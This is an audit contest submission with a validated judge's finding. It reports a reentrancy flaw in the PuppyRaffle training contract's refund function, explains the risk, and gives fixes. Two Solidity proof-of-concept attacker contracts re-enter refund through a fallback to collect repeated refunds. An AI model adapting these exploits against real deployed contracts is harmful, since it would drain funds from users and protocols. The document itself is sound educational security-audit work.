Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund` function causing multiple refunds & fund drain

frozen

Reentrancy in PuppyRaffle::refund function causing multiple refunds & fund drain

Description

Normal behavior:
The PuppyRaffle::refund function allows an active raffle participant to recieve a one-time refund of their enteranceFee before the winner is selected. After successful refnd player is removed from the players array to prevent further participating in active raffle.

Issue:
The function PuppyRaffle::refund voilates the checks-effects-interactions pattern by performing an external ETH tranfer to msg.sender before updating contract state. Specifically sendValue is called before the player's entry is removed from the players array.
If the player is a malicious contract, it can re-enter the PuppyRaffle::refund function during the ETH transfer while players[playerIndex] is still set to the caller’s address. This allows the attacker to repeatedly pass the refund checks and receive multiple refunds for a single raffle entry.

function refund(uint256 playerIndex) public {
...
@> payable(msg.sender).sendValue(entranceFee);
​
@> players[playerIndex] = address(0);
@> emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any raffle participant can be a contract, making the attack feasible without special privileges.

  • The reentrancy occurs deterministically whenever a malicious contract calls PuppyRaffle::refund, as the external ETH transfer is performed before state is updated.

Impact:

  • A malicious participant can repeatedly re-enter PuppyRaffle::refund to receive multiple refunds for a single raffle entry.

  • This can result in unintended ETH loss from the contract, reducing funds available for legitimate refunds, prize payouts, or protocol fees.

Proof of Concept

  • A malicious contract (MaliciousUser) enters the raffle as a participant.

contract MaliciousUser {
PuppyRaffle public raffle;
uint256 public playerIndex;
bool internal attacked;
​
constructor(address _raffle, uint256 _playerIndex) {
raffle = PuppyRaffle(_raffle);
playerIndex = _playerIndex;
}
​
function attack() external {
raffle.refund(playerIndex);
}
​
fallback() external payable {
if (!attacked) {
attacked = true;
raffle.refund(playerIndex);
}
}
}

  • The attacker calls refund(playerIndex) from the malicious contract.

  • During the execution of refund, ETH is sent to the attacker using sendValue.

  • This triggers the attacker’s fallback function before the player is removed from the players array.

  • Inside fallback, the attacker re-enters refund(playerIndex) while the state is unchanged.

  • The refund checks pass again, allowing the attacker to receive multiple refunds for a single raffle entry.

As a result, protocol fees become permanently locked.

Recommended Mitigation

A. Apply the checks-effects-interactions pattern

Update contract state before performing any external ETH transfers.
Specifically, mark the player as refunded before calling sendValue to prevent reentrant calls from passing the refund checks.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}

B. Add reentrancy protection

As an additional safety measure, apply OpenZeppelin’s ReentrancyGuard to prevent reentrant calls to refund.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
- contract PuppyRaffle {
+ contract PuppyRaffle is ReentrancyGuard {
​
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!